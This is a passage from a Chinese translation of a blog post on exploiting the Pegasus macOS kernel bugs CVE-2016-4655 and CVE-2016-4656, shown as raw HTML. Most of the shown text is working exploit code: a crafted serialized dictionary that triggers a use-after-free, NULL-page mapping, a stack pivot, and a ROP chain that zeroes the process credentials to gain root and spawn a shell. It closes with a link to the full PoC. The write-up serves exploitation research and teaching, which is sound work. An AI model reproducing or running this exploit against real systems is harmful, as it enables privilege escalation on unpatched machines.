&#x27;CCC&#x27;</span></span><br><span class="line">    WRITE_IN(dict, (<span class="number">0x00434343</span>));</span><br><span class="line">    WRITE_IN(dict, (kOSSerializeEndCollection | kOSSerializeObject | <span class="number">1</span>));   <span class="comment">// ref to object 1 (OSString)</span></span><br><span class="line">    <span class="comment">/* map the NULL page */</span></span><br><span class="line">    <span class="keyword">mach_vm_address_t</span> null_map = <span class="number">0</span>;</span><br><span class="line">    vm_deallocate(mach_task_self(), <span class="number">0x0</span>, PAGE_SIZE);</span><br><span class="line">    kr = mach_vm_allocate(mach_task_self(), &amp;null_map, PAGE_SIZE, <span class="number">0</span>);</span><br><span class="line">    <span class="keyword">if</span> (kr != KERN_SUCCESS)</span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line">    <span class="keyword">macho_map_t</span> *<span class="built_in">map</span> = map_file_with_path(KERNEL_PATH_ON_DISK);</span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;(i) Leaking kslide...\n&quot;</span>);</span><br><span class="line">    SET_KERNEL_SLIDE(kslide_infoleak()); <span class="comment">// set global kernel slide</span></span><br><span class="line">    <span class="comment">/* set the stack pivot at 0x20 */</span></span><br><span class="line">    *(<span class="keyword">volatile</span> <span class="keyword">uint64_t</span> *)(<span class="number">0x20</span>) = (<span class="keyword">volatile</span> <span class="keyword">uint64_t</span>)ROP_XCHG_ESP_EAX(<span class="built_in">map</span>); <span class="comment">// stack pivot</span></span><br><span class="line">    <span class="comment">/* build ROP chain */</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;(i) Building ROP chain...\n&quot;</span>);</span><br><span class="line">    <span class="keyword">rop_chain_t</span> *chain = <span class="built_in">calloc</span>(<span class="number">1</span>, <span class="keyword">sizeof</span>(<span class="keyword">rop_chain_t</span>));</span><br><span class="line">    PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(<span class="built_in">map</span>, <span class="string">&quot;_current_proc&quot;</span>));</span><br><span class="line">    PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(<span class="built_in">map</span>, chain);</span><br><span class="line">    PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(<span class="built_in">map</span>, <span class="string">&quot;_proc_ucred&quot;</span>));</span><br><span class="line">    PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(<span class="built_in">map</span>, chain);</span><br><span class="line">    PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(<span class="built_in">map</span>, <span class="string">&quot;_posix_cred_get&quot;</span>));</span><br><span class="line">    PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(<span class="built_in">map</span>, chain);</span><br><span class="line">    PUSH_GADGET(chain) = ROP_ARG2(chain, <span class="built_in">map</span>, (<span class="keyword">sizeof</span>(<span class="keyword">int</span>) * <span class="number">3</span>));</span><br><span class="line">    PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(<span class="built_in">map</span>, <span class="string">&quot;_bzero&quot;</span>));</span><br><span class="line">    PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(<span class="built_in">map</span>, <span class="string">&quot;_thread_exception_return&quot;</span>));</span><br><span class="line">    <span class="comment">/* chain transfer, will redirect execution flow from 0x0 to our main chain above */</span></span><br><span class="line">    <span class="keyword">uint64_t</span> *transfer = (<span class="keyword">uint64_t</span> *)<span class="number">0x0</span>;</span><br><span class="line">    transfer[<span class="number">0</span>] = ROP_POP_RSP(<span class="built_in">map</span>);</span><br><span class="line">    transfer[<span class="number">1</span>] = (<span class="keyword">uint64_t</span>)chain-&gt;chain;</span><br><span class="line">    <span class="comment">/* trigger */</span></span><br><span class="line">    <span class="built_in">printf</span>(<span class="string">&quot;(+) All done! Triggering the bug!\n&quot;</span>);</span><br><span class="line">    host_get_io_master(mach_host_self(), &amp;master); <span class="comment">// get iokit master port</span></span><br><span class="line">    kr = io_service_get_matching_services_bin(master, (<span class="keyword">char</span> *)dict, idx, &amp;res);</span><br><span class="line">    <span class="keyword">if</span> (kr != KERN_SUCCESS)</span><br><span class="line">        <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p> 在这个片段中我使用了很多来自外部库的代码，它们在 GitHub 上，对于这篇文章的其他代码，它们也同样有效。只需要记住 <code>PUSH_GADGET</code> 宏是被用来向 ROP 链中写入值的就行了，就像序列化数据的 WRITEN_IN 一样。一些 gadget 宏比如 <code>ROP_POP_XXX</code> 是用来在 kernel 文件中寻找 ROP gadgets 的，<code>find_symbol_address</code> 调用也是做的同样的事情，只是它是被用来寻找函数的。ROP 链中的函数以及 gadgets 的地址在插入其中之前，当然也已经构造好偏移了（使用我们之前获得的偏移）。</p>
<h4 id="制作字典-1"><a href="#制作字典-1" class="headerlink" title="制作字典"></a>制作字典</h4><p>这部分跟我们之前所做的非常相似，但是字典的内容不同。 XML 格式如下：</p>
<figure class="highlight"><table><tr><td class="code"><pre><span class="line">&lt;dict&gt;</span><br><span class="line">    &lt;string&gt;AAA&lt;/string&gt;</span><br><span class="line">    &lt;boolean&gt;true&lt;/boolean&gt;</span><br><span class="line"></span><br><span class="line">    &lt;symbol&gt;BBB&lt;/symbol&gt;</span><br><span class="line">    &lt;data&gt;</span><br><span class="line">        <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span> <span class="number">00</span></span><br><span class="line">    &lt;/data&gt;</span><br><span class="line"></span><br><span class="line">    &lt;symbol&gt;CCC&lt;/symbol&gt;</span><br><span class="line">    &lt;reference&gt;1&lt;/reference&gt; &lt;!-- we are referring to object 1 in the dictionary, the string --&gt;</span><br><span class="line">&lt;/dict&gt;</span><br></pre></td></tr></table></figure>

<p>显然，我们在字典的第二个 Key 处使用了 OSSymbol 来避免重分配已被释放的 OSString 区域。 OSData 数据将会被重新分配在 OSString 的区域，当调用 retain 的时候（ OSUnserializeBinary 解析引用时），内核将会从我们构造的缓冲区内读取 vtable 指针。这个指针位于缓冲区的首 8 字节，且为0。</p>
<p>内核将会解引用这个指针，添加 retain 偏移量，来读取存储在虚表中的父类 retain 指针。这个偏移量是 0x20 (32)，也就是意味着 RIP 会跳转到 0x20 处。</p>
<p>在很多系统中，这是不可利用的，因为制作 NULL 是不可能的，但是在 OSX 中并不一定。因为某些遗留原因，Apple 并没有在32位的二进制中强制要求 __PAGEZERO 段。这也意味着，如果我们使用32位编译的二进制（确实也是，因为之前我们使用了 IOKit 的 APIs ），那么即使缺少了 __PAGEZERO 段，内核也会执行它。换句话说，我们可以很容易的 map NULL ，然后把我们的 stack pivot 放在那儿。</p>
<h4 id="制作-NULL-page”-制作-NULL-page"><a href="#制作-NULL-page”-制作-NULL-page" class="headerlink" title="制作 NULL page”)制作 NULL page"></a>制作 NULL page”)制作 NULL page</h4><p>就像我们之前说的，在32位二进制中，Apple 对 __PAGEZERO 段并没有强制要求。通过将我们的二进制编译为32位，并附上 <code>-pagezero_size,0</code> 的标志，我们可以使 __PAGEZERO 段失效，并在运行时制作 NULL page 代码：</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="keyword">mach_vm_address_t</span> null_map = <span class="number">0</span>;</div><div class="line"></div><div class="line">vm_deallocate(mach_task_self(), <span class="number">0x0</span>, PAGE_SIZE);</div><div class="line"></div><div class="line">kr = mach_vm_allocate(mach_task_self(), &amp;null_map, PAGE_SIZE, <span class="number">0</span>);</div><div class="line"><span class="keyword">if</span> (kr != KERN_SUCCESS)</div><div class="line">    <span class="keyword">return</span>;</div></pre></td></tr></tbody></table>

<h4 id="Pivoting-the-stack"><a href="#Pivoting-the-stack" class="headerlink" title="Pivoting the stack"></a>Pivoting the stack</h4><p>在内核解引用我们构造的指向 NULL+0X20 处的虚表指针之后，我们成功的得到了 RIP 的控制权。</p>
<p>但是，在运行我们的主链之前，我们需要 pivot the stack，比如说，实现 RSP 控制（或者 stack 控制）。这个可以通过多种方式实现，但是最终都是将链地址放入 RSP 中。如果我们没有将 RSP 设置为链地址，那么下一步将不会被执行，因为第一步中的 ret 指令将会返回一个错误的 stack（原始堆栈）。当 RSP 被正确设置了，ret 指令将会从 ROP stack 中读取我们的下一步（或者说下一个函数）的地址，然后将 RIP 设置为这个地址。而这正是我们想要的！</p>
<p>我使用 NULL 解引用来实现堆栈控制的方法是，使用单个的 gadget 来交换 RSP 和 RAX 的值。如果 RAX 中的值能被控制的话，game’s over！在本例中，RAX 将会始终为0（它将会存储我们构造的 OSData 数据的下一个 8 字节，因此一直是0），所以我们可以在0处放置我们的小转移链，然后将0x20处设置为 pivot。当 RIP 得到被设置到0X20处的地址时，将会执行交换的这个函数，将 RSP 设置为0，然后返回，pop 链中的第一个地址到 RIP，并开始执行这个链。</p>
<p>需要注意的是，这个转移链的目的是什么（mapped at 0）。实际上这会重新将 RSP设置为主链。这样做是因为在0和0X20之间我们没有足够多的空间（只有32 字节，也就是说4个地址），完全不够存储我们的权限提升的链。</p>
<table><tbody><tr><td class="code"><pre><div class="line">*(<span class="keyword">volatile</span> <span class="keyword">uint64_t</span> *)(<span class="number">0x20</span>) = (<span class="keyword">volatile</span> <span class="keyword">uint64_t</span>)ROP_XCHG_ESP_EAX(<span class="built_in">map</span>); <span class="comment">// stack pivot</span></div></pre></td></tr></tbody></table>

<p>下面是转移的代码，仅仅是读取栈上的值，然后将它 pop 到 RSP 中（之所以我们可以这样做，是因为我们控制了RSP）。</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="keyword">uint64_t</span> *transfer = (<span class="keyword">uint64_t</span> *)<span class="number">0x0</span>;</div><div class="line">transfer[<span class="number">0</span>] = ROP_POP_RSP(<span class="built_in">map</span>);</div><div class="line">transfer[<span class="number">1</span>] = (<span class="keyword">uint64_t</span>)chain-&gt;chain;</div></pre></td></tr></tbody></table>

<h4 id="The-main-chain"><a href="#The-main-chain" class="headerlink" title="The main chain"></a>The main chain</h4><p>马上是这个利用程序的精髓所在了。这部分非常重要：执行内核代码，来提升我们的权限。我们需要先找到我们的进程在内存中的 credentials 结构，然后置0。通过将它置0，我们就可以提升我们的进程权限啦（root 的组 ID 均为0）。</p>
<p>我们所做的实际上跟 setuid(0) 非常相似，但是我们不能直接用这个函数，因为它有权限检测。<code>thread_exception_return</code> 函数用于离开内核空间而不造成崩溃，它通常被用于从内核 traps 中返回。</p>
<p>RAX寄存器保存着前一个函数的返回值，ROP_RAX_TO_ARG1 宏用来将 RAX 寄存器和 RDI（下一个函数的第一个参数）交换。这样就会将上一个函数的返回值作为我们 ROP 链中下一个函数的第一个参数。</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="comment">/*</span></div><div class="line">*   chain prototype:</div><div class="line">*   </div><div class="line">*   proc = current_proc();</div><div class="line">*   ucred = proc_ucred(proc);</div><div class="line">*   posix_cred = posix_cred_get(ucred);</div><div class="line">*</div><div class="line">*   bzero(posix_cred, (sizeof(int) * 3));</div><div class="line">*</div><div class="line">*   thread_exception_return();</div><div class="line">*/</div><div class="line"></div><div class="line"><span class="keyword">rop_chain_t</span> *chain = <span class="built_in">calloc</span>(<span class="number">1</span>, <span class="keyword">sizeof</span>(<span class="keyword">rop_chain_t</span>));</div><div class="line"></div><div class="line">PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(<span class="built_in">map</span>, <span class="string">"_current_proc"</span>));</div><div class="line"></div><div class="line">PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(<span class="built_in">map</span>, chain);</div><div class="line">PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(<span class="built_in">map</span>, <span class="string">"_proc_ucred"</span>));</div><div class="line"></div><div class="line">PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(<span class="built_in">map</span>, chain);</div><div class="line">PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(<span class="built_in">map</span>, <span class="string">"_posix_cred_get"</span>));</div><div class="line"></div><div class="line">PUSH_GADGET(chain) = ROP_RAX_TO_ARG1(<span class="built_in">map</span>, chain);</div><div class="line">PUSH_GADGET(chain) = ROP_ARG2(chain, <span class="built_in">map</span>, (<span class="keyword">sizeof</span>(<span class="keyword">int</span>) * <span class="number">3</span>));</div><div class="line">PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(<span class="built_in">map</span>, <span class="string">"_bzero"</span>));</div><div class="line"></div><div class="line">PUSH_GADGET(chain) = SLIDE_POINTER(find_symbol_address(<span class="built_in">map</span>, <span class="string">"_thread_exception_return"</span>));</div></pre></td></tr></tbody></table>

<p>最后我们就可以用跟之前的信息泄漏相同的代码来触发这个漏洞啦：</p>
<table><tbody><tr><td class="code"><pre><div class="line">host_get_io_master(mach_host_self(), &amp;master); <span class="comment">// get iokit master port</span></div><div class="line"></div><div class="line">kr = io_service_get_matching_services_bin(master, (<span class="keyword">char</span> *)dict, idx, &amp;res);</div><div class="line"><span class="keyword">if</span> (kr != KERN_SUCCESS)</div><div class="line">    <span class="keyword">return</span>;</div></pre></td></tr></tbody></table>

<p>没有意外的话，我们将提升我们的权限。为了检测一切是否运行正常，我们简单调用 getuid 函数然后查看它的返回值是否等于0。如果是的话，那么你的进程就已经是 root 权限了，所以简单的调用 system(“/bin/bash”) 来执行 shell 吧！</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="keyword">if</span> (getuid() == <span class="number">0</span>) {</div><div class="line">    <span class="built_in">puts</span>(<span class="string">"(+) got r00t!"</span>);</div><div class="line">    system(<span class="string">"/bin/bash"</span>);</div><div class="line">}</div></pre></td></tr></tbody></table>

<p>最后，一切正常运行之后，我们的 shell 将会长这样！</p>
<p><img src="/images/2016-12-16-%E8%AF%91-Analysis-and-exploitation-of-Pegasus-kernel-vulnerabilities-CVE-2016-4655-CVE-2016-4656/%E5%9B%BE3.png"></p>
<h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>这确实是一篇非常长的阅读（对于我来说，也是一次非常长的写作！）。非常感谢你读到这，我认真地希望你能找到这些的乐趣所在。这也是我的第一篇博客文章，还没有写过这么多，如果你在阅读的过程中发现有些粗糙的地方，还请见谅。</p>
<p>下面是文章中所有引用的链接，以及 GitHub repo 的链接，GitHub 上所有的代码都是有效的。再次感谢你的阅读，当我决定写其他东西的时候，我希望你仍然还在。为了保持更新，请在 <a href="https://twitter.com/jndok">Twitter</a> 上关注我.</p>
<h3 id="PoC-Code"><a href="#PoC-Code" class="headerlink" title="PoC Code"></a>PoC Code</h3><p>整个 PoC 的代码都在 <a href="https://github.com/jndok/PegasusX">GitHub</a> 上，并且有效。</p>
<h3 id="Credits-and-thanks"><a href="#Credits-and-thanks" class="headerlink" title="Credits and thanks"></a>Credits and thanks</h3><ul>
<li><a href="https://twitter.com/qwertyoruiopz">qwertyoruiop</a> - For exploitation-related help.</li>
<li><a href="https://twitter.com/i0n1c">i0n1c</a> - For original writeup (<a href="https://sektioneins.de/en/blog/16-09-02-pegasus-ios-kernel-vulnerability-explained.html">here</a>).</li>
<li><a href="https://twitter.com/SparkZheng">SparkZheng</a> - For <a href="https://github.com/zhengmin1989/OS-X-10.11.6-Exp-via-PEGASUS">his PoC</a> which helped me out with the info-leak!</li>
</ul>
<hr>
<h2 id="Reference"><a href="#Reference" class="headerlink" title="Reference"></a>Reference</h2><ol>
<li><a href="https://media.blackhat.com/bh-us-12/Briefings/Serna/BH_US_12_Serna_Leak_Era_Slides.pdf">The info leak era on software exploitation</a> –– Fermin J. Serna (<a href="https://twitter.com/fjserna">@fjserna</a>)</li>
<li><a href="https://www.theiphonewiki.com/wiki/Kernel_ASLR">Kernel ASLR</a> –– The iPhone Wiki</li>
<li><a href="https://www.quora.com/What-is-a-code-reuse-attack">What is a code reuse attack?</a> –– Quora</li>
<li><a href="https://cseweb.ucsd.edu/~hovav/dist/geometry.pdf">The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)</a> –– Hovav Shacham</li>
<li><a href="https://developer.apple.com/library/content/samplecode/SimpleUserClient/Listings/User_Client_Info_txt.html">User Client Info.txt</a> –– Apple</li>
<li><a href="https://www.owasp.org/index.php/Using_freed_memory">Using freed memory</a> –– OWASP</li>
<li><a href="https://www.purehacking.com/blog/lloyd-simon/an-introduction-to-use-after-free-vulnerabilities">An Introduction to Use After Free Vulnerabilities</a> –– Lloyd Simon</li>
<li><a href="http://blog.qwertyoruiop.com/?p=38">Attacking the XNU Kernel For Fun And Profit – Part 1</a> –– Luca Todesco (<a href="https://twitter.com/qwertyoruiopz">@qwertyoruiopz</a>)</li>
<li><a href="https://www.blackhat.com/docs/eu-15/materials/eu-15-Todesco-Attacking-The-XNU-Kernal-In-El-Capitain.pdf">Attacking the XNU Kernel in El Capitan</a> –– Luca Todesco (<a href="https://twitter.com/qwertyoruiopz">@qwertyoruiopz</a>)</li>
<li><a href="https://media.blackhat.com/bh-us-12/Briefings/Esser/BH_US_12_Esser_iOS_Kernel_Heap_Armageddon_WP.pdf">iOS Kernel Heap Armageddon</a> –– Stefan Esser (<a href="https://twitter.com/i0n1c">@i0n1c</a>)</li>
<li><a href="http://stackoverflow.com/questions/12645647/what-happens-in-os-when-we-dereference-a-null-pointer-in-c">What happens in OS when we dereference a NULL pointer in C?</a> –– StackOverflow</li>
<li><a href="http://neilscomputerblog.blogspot.jp/2012/06/stack-pivoting.html">Stack Pivoting</a> –– Neil Sikka</li>
</ol>
]]></content>
      <categories>
        <category>翻译</category>
      </categories>
  </entry>
</search>
